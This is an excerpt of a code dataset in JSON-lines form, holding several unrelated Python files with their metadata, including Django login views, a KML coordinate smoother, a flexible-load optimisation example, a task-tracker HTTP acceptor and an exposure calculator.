get_kml_etree(load_path)\n root = etree.getroot()\n coords_str = format_coords_into_string(coordinates)\n root.Document.Placemark.Polygon.outerBoundaryIs.LinearRing.coordinates = coords_str\n etree.write(save_path, pretty_print=True)\n\n\ndef format_coords_into_string(coordinates):\n \"\"\" Formats coordinates list into original string format \"\"\"\n coords_str = ''\n for coord in coordinates:\n for i in range(0, 2):\n coords_str += str(coord[i])\n if i == 1:\n coords_str += ',0 '\n else:\n coords_str += ','\n return coords_str\n\n\ndef plot_coordinates(coordinates):\n x, y = coordinates.T # get x, y coordinates\n plt.scatter(x, y)\n plt.show()\n\n\ndef remove_outliers(coordinates):\n \"\"\" Removes outliers from coordinate list \"\"\"\n x, y = coordinates.T # split coordinates into their own lists\n outliers_x = find_outliers(x) # find x outliers\n outliers_y = find_outliers(y) # find y outliers\n no_outliers = []\n for coordinate in coordinates:\n # append to list only if coordinate does not contain outlier\n if coordinate[0] not in outliers_x and coordinate[1] not in outliers_y:\n no_outliers.append(coordinate)\n return numpy.array(no_outliers)\n\n\ndef find_outliers(flat_list):\n \"\"\" Find outliers \"\"\"\n sd = numpy.std(flat_list) # get standard deviation of the elements in the list\n mean = numpy.mean(flat_list, axis=0) # get the mean of the elements in the list\n final_list = []\n for cord in flat_list:\n if mean + 2 * sd < cord > mean - 2 * sd: # check if outliers\n final_list.append(cord)\n return final_list\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "challenge-2/smoother.py", "file_name": "smoother.py", "file_ext": "py", "file_size_in_byte": 3258, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pykml.parser.parse", "line_number": 27, "usage_type": "call"}, {"api_name": "pykml.parser", "line_number": 27, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 84, "usage_type": "call"}]} {"seq_id": "274667209", "text": "from django.shortcuts import render\nfrom django.contrib import messages\nfrom django.http import HttpResponseRedirect\nfrom django.contrib.auth.models import User\nfrom login.forms import LoginForm, SignupForm\nfrom login.models import Employee\n# Create your views here.\n\n\n\n\n#for the login button on index page\ndef index(request):\n\tif request.user.is_authenticated():\n\t\trequest.session['username']=request.user.user\n\t\tu=request.user\n\t\te=Employee.objects.get(user=request.user)\n\t\treturn render(request, 'login/profile.html', {\"employee\": e, \"user\": u})\n\telse:\n\t\t\n\t\tidpwd = LoginForm()\n\t\treturn render(request, 'login/index.html', {'form': idpwd})\n\n\n# for the logout button anywhere\ndef log_out(request):\n\tlogout(request)\n\treturn HttpResponseRedirect('login:index')\n\n\n#for the signup button on signup page\ndef signup(request):\n\tif request.user.is_authenticated():\n\t\trequest.session['username'] = request.user.username\n\t\treturn HttpResponseRedirect('login:index')\n\telif request.method == 'POST':\n\t\tdetails = SignupForm()\n\t\tif details.is_valid():\n\t\t\tu=User.objects.create(**UserForm.cleaned_data)\n\t\t\te=Employee.objects.create(user=u, **SignupForm.cleaned_data)\n\t\t\te.save()\n\t\t\tHttpResponseRedirect('login:index')\n\t\telse:\n\t\t\treturn render(request, 'login/signup.html', {'form': details})\n\n\n#for the profile page\ndef profile(request):\n\tif request.user.is_authenticated():\n\t\trequest.session['username'] = request.user.username\n\t\treturn HttpResponseRedirect('login:index')\n\telif request.method == 'POST':\n\t\te=Employee.objects.get(user=request.user)\n\t\treturn render(request, 'login/profile.html', {'emp':e})\n", "sub_path": "login/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1594, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "login.models.Employee.objects.get", "line_number": 17, "usage_type": "call"}, {"api_name": "login.models.Employee.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "login.models.Employee", "line_number": 17, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 18, "usage_type": "call"}, {"api_name": "login.forms.LoginForm", "line_number": 21, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 22, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 28, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 35, "usage_type": "call"}, {"api_name": "login.forms.SignupForm", "line_number": 37, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.create", "line_number": 39, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 39, "usage_type": "name"}, {"api_name": "login.models.Employee.objects.create", "line_number": 40, "usage_type": "call"}, {"api_name": "login.models.Employee.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "login.models.Employee", "line_number": 40, "usage_type": "name"}, {"api_name": "login.forms.SignupForm.cleaned_data", "line_number": 40, "usage_type": "attribute"}, {"api_name": "login.forms.SignupForm", "line_number": 40, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 42, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 44, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 51, "usage_type": "call"}, {"api_name": "login.models.Employee.objects.get", "line_number": 53, "usage_type": "call"}, {"api_name": "login.models.Employee.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "login.models.Employee", "line_number": 53, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 54, "usage_type": "call"}]} {"seq_id": "640625381", "text": "import os\nimport cv2\n\nfps = 15\n\nimg_arrays = {\"cloudy2\" : [], \"cloudy\": [], \"night\": [], \"rainy\": [], \"sunny\": []}\n\nmodel = \"haar\"\n\nfor frame in os.listdir(f\"{model}-images\"):\n\n name = frame[:-9]\n\n img = cv2.imread(f\"{model}-images/{frame}\")\n \n height, width, layers = img.shape\n size = (width, height)\n\n img_arrays[name].append(img)\n\nfor name in img_arrays:\n\n img_array = img_arrays[name]\n h, w, _ = img_array[0].shape\n out = cv2.VideoWriter(f\"{model}-videos/{name}.avi\", cv2.VideoWriter_fourcc(*'DIVX'), fps, (w,h))\n\n for i in range(len(img_array)):\n img = img_array[i][0:h,0:w]\n out.write(img)\n\n out.release()", "sub_path": "src/other/frame2video.py", "file_name": "frame2video.py", "file_ext": "py", "file_size_in_byte": 663, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.listdir", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 25, "usage_type": "call"}]} {"seq_id": "54727422", "text": "\"\"\"Example script for setting up and solving a flexible load optimal operation problem.\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport pyomo.environ as pyo\n\nimport fledge.config\nimport fledge.database_interface\nimport fledge.der_models\nimport fledge.electric_grid_models\n\n\ndef main():\n\n # Settings.\n scenario_name = 'singapore_6node'\n plots = True # If True, script may produce plots.\n\n # Recreate / overwrite database, to incorporate changes in the CSV files.\n fledge.database_interface.recreate_database()\n\n # Obtain data.\n scenario_data = fledge.database_interface.ScenarioData(scenario_name)\n der_data = fledge.database_interface.DERData(scenario_name)\n price_data = fledge.database_interface.PriceData(scenario_name)\n\n # Obtain price timeseries.\n price_name = 'energy'\n price_timeseries = price_data.price_timeseries_dict[price_name]\n\n # Obtain model.\n der_name = der_data.flexible_loads['der_name'][0] # Pick first `der_name`.\n flexible_load_model = fledge.der_models.FlexibleLoadModel(der_data, der_name)\n\n # Instantiate optimization problem.\n optimization_problem = pyo.ConcreteModel()\n\n # Define variables.\n flexible_load_model.define_optimization_variables(optimization_problem)\n\n # Define constraints.\n flexible_load_model.define_optimization_constraints(optimization_problem)\n\n # Define objective.\n flexible_load_model.define_optimization_objective(optimization_problem, price_timeseries)\n\n # Solve optimization problem.\n optimization_solver = pyo.SolverFactory(fledge.config.solver_name)\n optimization_result = optimization_solver.solve(optimization_problem, tee=fledge.config.solver_output)\n try:\n assert optimization_result.solver.termination_condition is pyo.TerminationCondition.optimal\n except AssertionError:\n raise AssertionError(f\"Solver termination condition: {optimization_result.solver.termination_condition}\")\n # optimization_problem.display()\n\n # Obtain results.\n (\n state_vector,\n control_vector,\n output_vector\n ) = flexible_load_model.get_optimization_results(\n optimization_problem\n )\n\n # Print results.\n print(f\"state_name = \\n{state_vector.to_string()}\")\n print(f\"control_name = \\n{control_vector.to_string()}\")\n print(f\"output_name = \\n{output_vector.to_string()}\")\n\n # Plot results.\n if plots:\n\n for output_name in flexible_load_model.output_names:\n plt.plot(flexible_load_model.output_maximum_timeseries[output_name], label=\"Maximum\", drawstyle='steps-post')\n plt.plot(flexible_load_model.output_minimum_timeseries[output_name], label=\"Minimum\", drawstyle='steps-post')\n plt.plot(output_vector[output_name], label=\"Optimal\", drawstyle='steps-post')\n plt.legend()\n plt.title(f\"Output: {output_name}\")\n plt.show()\n plt.close()\n\n plt.plot(price_timeseries['price_value'], drawstyle='steps-post')\n plt.title(f\"Price: {price_name}\")\n plt.show()\n plt.close()\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "examples/run_flexible_load_optimal_operation.py", "file_name": "run_flexible_load_optimal_operation.py", "file_ext": "py", "file_size_in_byte": 3136, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "fledge.config.database_interface.recreate_database", "line_number": 21, "usage_type": "call"}, {"api_name": "fledge.config.database_interface", "line_number": 21, "usage_type": "attribute"}, {"api_name": "fledge.config", "line_number": 21, "usage_type": "name"}, {"api_name": "fledge.config.database_interface.ScenarioData", "line_number": 24, "usage_type": "call"}, {"api_name": "fledge.config.database_interface", "line_number": 24, "usage_type": "attribute"}, {"api_name": "fledge.config", "line_number": 24, "usage_type": "name"}, {"api_name": "fledge.config.database_interface.DERData", "line_number": 25, "usage_type": "call"}, {"api_name": "fledge.config.database_interface", "line_number": 25, "usage_type": "attribute"}, {"api_name": "fledge.config", "line_number": 25, "usage_type": "name"}, {"api_name": "fledge.config.database_interface.PriceData", "line_number": 26, "usage_type": "call"}, {"api_name": "fledge.config.database_interface", "line_number": 26, "usage_type": "attribute"}, {"api_name": "fledge.config", "line_number": 26, "usage_type": "name"}, {"api_name": "fledge.config.der_models.FlexibleLoadModel", "line_number": 34, "usage_type": "call"}, {"api_name": "fledge.config.der_models", "line_number": 34, "usage_type": "attribute"}, {"api_name": "fledge.config", "line_number": 34, "usage_type": "name"}, {"api_name": "pyomo.environ.ConcreteModel", "line_number": 37, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 37, "usage_type": "name"}, {"api_name": "pyomo.environ.SolverFactory", "line_number": 49, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 49, "usage_type": "name"}, {"api_name": "fledge.config.config", "line_number": 49, "usage_type": "attribute"}, {"api_name": "fledge.config", "line_number": 49, "usage_type": "name"}, {"api_name": "fledge.config.config", "line_number": 50, "usage_type": "attribute"}, {"api_name": "fledge.config", "line_number": 50, "usage_type": "name"}, {"api_name": "pyomo.environ.TerminationCondition", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pyomo.environ", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}]} {"seq_id": "256520862", "text": "#!/usr/bin/env python\n#\n# - Main role of this file is to remove polling in tasktracker.\n# - should be running when the tasktracker(mdserv.py) is launched.\n# - recommend to use daemon mode.\n# \t\t> nohup ./[this file's name] &\n#\n# @modified: June 17th, 2012\n# @author: Yurong Jiang, Xing Xu, Moo-Ryong Ra\n#\nimport time, os, copy, sys, random, threading, socket, select\nimport mdlib\nimport BaseHTTPServer, urlparse, cgi\nfrom xml.etree import ElementTree as ET\n\nHOSTNAME = 'localhost'\nNPORT = 7667\nCONN = {}\n\nclass MedTTCbHandler(BaseHTTPServer.BaseHTTPRequestHandler):\n\t#\n\tdef do_HEAD(s):\n\t\ts.send_response(200)\n\t\ts.send_header(\"Content-type\", \"text/html\")\n\t\ts.end_headers()\n\t#\n\tdef do_POST(self):\n\t\tctype, pdict = cgi.parse_header(self.headers.getheader('content-type'))\n\n\t\tif ctype == 'multipart/form-data':\n\t\t\tpostvars = cgi.parse_multipart(self.rfile, pdict)\n\t\telif ctype == 'application/x-www-form-urlencoded':\n\t\t\tlength = int(self.headers.getheader('content-length'))\n\t\t\tpostvars = cgi.parse_qs(self.rfile.read(length), keep_blank_values=1)\n\t\t\tprocess_file(postvars)\n\t\telse:\n\t\t\tpostvars = {}\n\n\t\tself.send_response(200)\n\t\tself.send_header(\"Content-type\", \"text/html\")\n\t\tself.end_headers()\n\n\nclass MedTTEventRelay(threading.Thread):\n\t#\n\tdef run(self):\n\t\tglobal CONN\n\n\t\tsoc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tsoc.bind(('localhost', 20968))\n\t\tsoc.listen(5)\n\n\t\twhile True:\n\t\t\tsoc_input = [soc]\n\t\t\tfor (k, v) in CONN.iteritems():\n\t\t\t\tsoc_input.append(v)\n\n\t\t\t_in, _out, _exc = select.select(soc_input, [], [])\n\n\t\t\tfor s in _in:\n\t\t\t\tif s == soc:\n\t\t\t\t\t(c, a) = soc.accept()\n\t\t\t\t\tpid = mdlib.msg_recv(c, 1024)\n\t\t\t\t\tCONN[str(pid)] = c\n\n\t\t\t\t\tmdlib.log(\"* pid registered: \"+ pid)\n\t\t\t\telse:\n\t\t\t\t\ttemp = s.recv(1024)\n\t\t\t\t\tif len(temp) == 0:\n\t\t\t\t\t\tmdlib.log('* closing socket') \n\t\t\t\t\t\ts.close()\n\n\t\t\t\t\tfor (k, v) in CONN.iteritems():\n\t\t\t\t\t\tif s == v:\n\t\t\t\t\t\t\tmdlib.log('* ' + str(k) + ' closed.')\n\t\t\t\t\t\t\tdel CONN[k]\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\ndef run_medscript(prognames):\n\t#\n\tglobal CONN, soc\n\n\tfor i in prognames:\n\t\tnewpid = os.fork()\n\n\t\tif newpid == 0:\n\t\t\tcmd = \"python mdserv.py %s\" % i\n\t\t\tos.system(cmd)\n\t\t\tos.remove(i)\n\t\t\tos._exit(1)\n\t\telse:\n\t\t\tpids = (os.getpid(), newpid)\n\t\t\tmdlib.log(\"* parent: %d, child: %d\" % pids)\n\ndef generate_medscript(filename):\n\t#\n\tori_xml = ET.parse(filename)\n\tinput = ori_xml.findall('app/input')\n\troot = ori_xml.find('app')\n\n\tfor i in input:\n\t\troot.remove(i)\n\t\n\tret_val = []\n\tx = 0\n\n\tfor i in input:\n\t\tx = x + 1\n\t\ttree = copy.deepcopy(ori_xml)\n\t\ttest = tree.find('app')\n\t\tfor j in range(len(i)):\n\t\t\ttest.insert(0, i[len(i) - j - 1])\t\n\t\tfname =\"program/\"+ \"%s_%s.xml\" % (str(int(time.time())), str(int(random.random()*10000)))\n\t\ttree.write(fname)\n\t\tret_val.append(fname)\n\n\tos.system(\"rm %s\" % filename)\n\n\treturn ret_val\n\ndef process_file(in_file):\n\t#\n\tglobal CONN, soc\n\tpair = in_file.popitem()\n\n\tmdlib.log(\"* pair: \" + pair[1][0] + \", \" + pair[0])\n\n\tif pair[0] == \"medusa_rss\":\n\t\tinfo = pair[1][0].split(',')\n\t\tpid = info[1]\n\t\tqid = info[2]\n\n\t\tmdlib.log(\"* pid=%s qid=%s\" % (str(pid),str(qid)))\n\n\t\tif CONN.has_key(pid):\n\t\t\tmdlib.msg_send(CONN[(pid)], pair[1][0])\n\telse:\n\t\tt_filename = \"%s%s\" % (str(int(random.random()*10000)), pair[0])\n\t\tprognames = generate_medscript(t_filename)\n\t\trun_medscript(prognames)\n\n\nif __name__ == '__main__':\n\t# initialization\n\tt = MedTTEventRelay()\n\tt.start()\n\n\tserver_class = BaseHTTPServer.HTTPServer\n\thttpd = server_class((HOSTNAME, NPORT), MedTTCbHandler)\n\n\tmdlib.log(\"* starting medscript_acceptor - %s:%s\" % (HOSTNAME, NPORT))\n\n\t# event-loop.\n\thttpd.serve_forever()\n\n\t# interrupted.\n\tfor i in CONN:\n\t\tCONN[i].close()\n\t\n\thttpd.server_close()\n\tmdlib.log(\"* stopping medscript_acceptor - %s:%s\" % (HOSTNAME, NPORT))\n", "sub_path": "medusa_cloud/tasktracker/mdscript_acceptor.py", "file_name": "mdscript_acceptor.py", "file_ext": "py", "file_size_in_byte": 3681, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "BaseHTTPServer.BaseHTTPRequestHandler", "line_number": 20, "usage_type": "attribute"}, {"api_name": "cgi.parse_header", "line_number": 28, "usage_type": "call"}, {"api_name": "cgi.parse_multipart", "line_number": 31, "usage_type": "call"}, {"api_name": "cgi.parse_qs", "line_number": 34, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 44, "usage_type": "attribute"}, {"api_name": "socket.socket", "line_number": 49, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 49, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 49, "usage_type": "attribute"}, {"api_name": "select.select", "line_number": 58, "usage_type": "call"}, {"api_name": "mdlib.msg_recv", "line_number": 63, "usage_type": "call"}, {"api_name": "mdlib.log", "line_number": 66, "usage_type": "call"}, {"api_name": "mdlib.log", "line_number": 70, "usage_type": "call"}, {"api_name": "mdlib.log", "line_number": 75, "usage_type": "call"}, {"api_name": "os.fork", "line_number": 84, "usage_type": "call"}, {"api_name": "os.system", "line_number": 88, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 89, "usage_type": "call"}, {"api_name": "os._exit", "line_number": 90, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 92, "usage_type": "call"}, {"api_name": "mdlib.log", "line_number": 93, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 97, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 97, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 109, "usage_type": "call"}, {"api_name": "time.time", "line_number": 113, "usage_type": "call"}, {"api_name": "random.random", "line_number": 113, "usage_type": "call"}, {"api_name": "os.system", "line_number": 117, "usage_type": "call"}, {"api_name": "mdlib.log", "line_number": 126, "usage_type": "call"}, {"api_name": "mdlib.log", "line_number": 133, "usage_type": "call"}, {"api_name": "mdlib.msg_send", "line_number": 136, "usage_type": "call"}, {"api_name": "random.random", "line_number": 138, "usage_type": "call"}, {"api_name": "BaseHTTPServer.HTTPServer", "line_number": 148, "usage_type": "attribute"}, {"api_name": "mdlib.log", "line_number": 151, "usage_type": "call"}, {"api_name": "mdlib.log", "line_number": 161, "usage_type": "call"}]} {"seq_id": "30784797", "text": "import matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\ncor = []\ncen = []\nequ = []\nfor i in range(325):\n print(\"Counting %d.csv ...\" % i)\n cor += [len(open(\"Correct/%d.csv\" % i, 'r').readlines()) / 1000]\n cen += [len(open(\"Centralized/%d.csv\" % i, 'r').readlines()) / 1000]\n equ += [len(open(\"Equalized/%d.csv\" % i, 'r').readlines()) / 1000]\n\nprint(\"Plotting...\")\nfigure = plt.figure(figsize=(1800/300, 600/300), dpi=300)\nplt.subplot(131)\nplt.plot(range(325), cor, 'r', label=\"Correct\", lw=0.3)\nplt.xlabel(\"Records(K)\")\nplt.legend(fontsize=\"xx-small\", loc=\"upper left\")\nplt.subplot(132)\nplt.plot(range(325), cen, 'b', label=\"Centralized\", lw=0.3)\nplt.xlabel(\"Records(K)\")\nplt.legend(fontsize=\"xx-small\", loc=\"upper left\")\nplt.subplot(133)\nplt.plot(range(325), equ, 'g', label=\"Equalized\", lw=0.3)\nplt.xlabel(\"Records(K)\")\nplt.legend(fontsize=\"xx-small\", loc=\"upper left\")\nplt.savefig(\"Count.png\")\nprint(\"Done.\")\n", "sub_path": "OldStory/Synthetic/Count.py", "file_name": "Count.py", "file_ext": "py", "file_size_in_byte": 941, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.use", "line_number": 2, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}]} {"seq_id": "470892441", "text": "from backend.settings import BASE_DIR\nimport math, os, json\n\n\n\n\n\n\n\n\ndef art_calculator(parameters):\n\n # some parameters require scores\n # import json file from data/calculations\n path_to_json = os.path.join(BASE_DIR, 'data/calculations/art.json')\n f = open(path_to_json, 'r')\n scores = f.read()\n f.close()\n scores = json.loads(scores)\n\n form = parameters['physical_form']\n # E: intrinsic property\n # liquid\n \n\n if form == 'liquid':\n vp = float(parameters['vp'])\n mf = float(parameters['mf'])\n\n # vapours\n if vp > 10:\n E = vp * mf / 30000\n # mists\n else:\n E = scores['viscosity'][parameters['viscosity']]\n\n\n # activity class - subclass - underlying determinants\n d1 = 1\n d2 = 1\n d3 = 1\n d4 = 1\n\n if 'd1' in parameters:\n if parameters['d1'] != False:\n d1 = scores['d1'][ parameters['d1'] ]\n \n if 'd2' in parameters:\n if parameters['d2'] != False:\n d2 = scores['d2'][ parameters['d2'] ]\n\n if 'd3' in parameters:\n if parameters['d3'] != False:\n d3 = scores['d3'][ parameters['d3'] ]\n\n if 'd4' in parameters:\n if parameters['d4'] != False:\n d4 = scores['d4'][ parameters['d4'] ]\n\n H = d1 * d2 * d3 * d4\n\n # Local controls\n Lc1 = 1\n Lc2 = 1\n if 'lc1' in parameters:\n if parameters['lc1'] == 'vrs':\n Lc1 = 0.2\n elif parameters['lc1'] != 'no':\n Lc1 = scores['lc'][ parameters['lc1_tech'] ]\n \n # secondary LC\n if parameters['lc1'] != 'no':\n if parameters['lc2'] == 'vrs':\n Lc2 = 0.2\n else:\n Lc2 = scores['lc'][ parameters['lc2_tech'] ]\n\n Lc = Lc1 * Lc2\n\n # calculated MF above used to evalueate Score\n # and score is quantified to calculate exposure\n score = E * H * Lc\n\n \n # set input quantification parameter - alpha\n alpha = 10.56\n if form == 'liquid':\n if vp <= 10:\n apha = 10.23\n \n elif form == 'powder':\n alpha = 3.01\n elif form == 'solid':\n alpha = 0.48\n elif form == 'dissolved':\n apha = 10.23\n elif form == 'paste':\n apha = 3.01\n\n\n gm = math.exp(math.log(score) + alpha)\n gm = round(gm)\n\n exposure = {\n \"p50\": gm,\n \"p75\": gm*1.5,\n \"p90\": gm*2,\n \"p95\": gm*3,\n \"p99\": gm*3.8,\n \"p50_ci75\": [0.05, 0.15],\n \"p50_ci80\": [0.05, 0.15],\n \"p50_ci90\": [0.05, 0.15],\n \"p50_ci95\": [0.05, 0.15],\n \"p75_ci75\": [0.05, 0.15],\n \"p75_ci80\": [0.05, 0.15],\n \"p75_ci90\": [0.05, 0.15],\n \"p75_ci95\": [0.05, 0.15],\n \"p90_ci75\": [0.05, 0.15],\n \"p90_ci80\": [0.05, 0.15],\n \"p90_ci90\": [0.05, 0.15],\n \"p90_ci95\": [0.05, 0.15],\n \"p95_ci75\": [0.05, 0.15],\n \"p95_ci80\": [0.05, 0.15],\n \"p95_ci90\": [0.05, 0.15],\n \"p95_ci95\": [0.05, 0.15],\n \"p99_ci75\": [0.05, 0.15],\n \"p99_ci80\": [0.05, 0.15],\n \"p99_ci90\": [0.05, 0.15],\n \"p99_ci95\": [0.05, 0.15]\n }\n return exposure\n\n\n\ndef sm_calculator(parameters):\n gm = 3\n exposure = {\n \"p50\": gm,\n \"p75\": gm*1.5,\n \"p90\": gm*2,\n \"p95\": gm*3\n }\n return exposure\n\n\ndef tra_calculator(parameters):\n exposure = {\"p75\": 2}\n return exposure", "sub_path": "backend/exposure/assessment/calculator.py", "file_name": "calculator.py", "file_ext": "py", "file_size_in_byte": 3384, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "backend.settings.BASE_DIR", "line_number": 15, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 19, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 101, "usage_type": "call"}, {"api_name": "math.log", "line_number": 101, "usage_type": "call"}]} {"seq_id": "650998652", "text": "#!/usr/env python\n\"\"\"\n.. module:: convert_kids450photometry_h5py\n:synopsis: Script to get the KIDS 450 photometry from the shear catalog and save as a h5 file.\n.. moduleauthor:: Maria Elidaiana <mariaeli@brandeis.edu>\n\"\"\"\n\nimport numpy as np\n#from astropy.io import fits\nfrom astropy.table import Table, vstack\nimport h5py as h5\n\nkidsdir = '/global/projecta/projectdirs/lsst/groups/WL/projects/wl-txpipe-hack/KIDS/KiDS450_DR3/' \n\ndef getdata(filename):\n kids_shear = Table.read(kidsdir + filename, memmap=True) \n return kids_shear\n\nkidsfiles = ['KiDS_DR3.1_G9_ugri_shear.fits', 'KiDS_DR3.1_G12_ugri_shear.fits',\n 'KiDS_DR3.1_G15_ugri_shear.fits', 'KiDS_DR3.1_G23_ugri_shear.fits',\n 'KiDS_DR3.1_GS_ugri_shear.fits']\ntables = []\nfor i in range(len(kidsfiles)):\n d = getdata(kidsfiles[i])\n tables.append(d)\n\n#Joining the tables\nkids_shearall = vstack(tables)\n\n#Sorting by ID\nkids_shearall.sort('ID')\n\n#Getting the photometry columns\ntilename = kids_shearall['KIDS_TILE']\ndec = 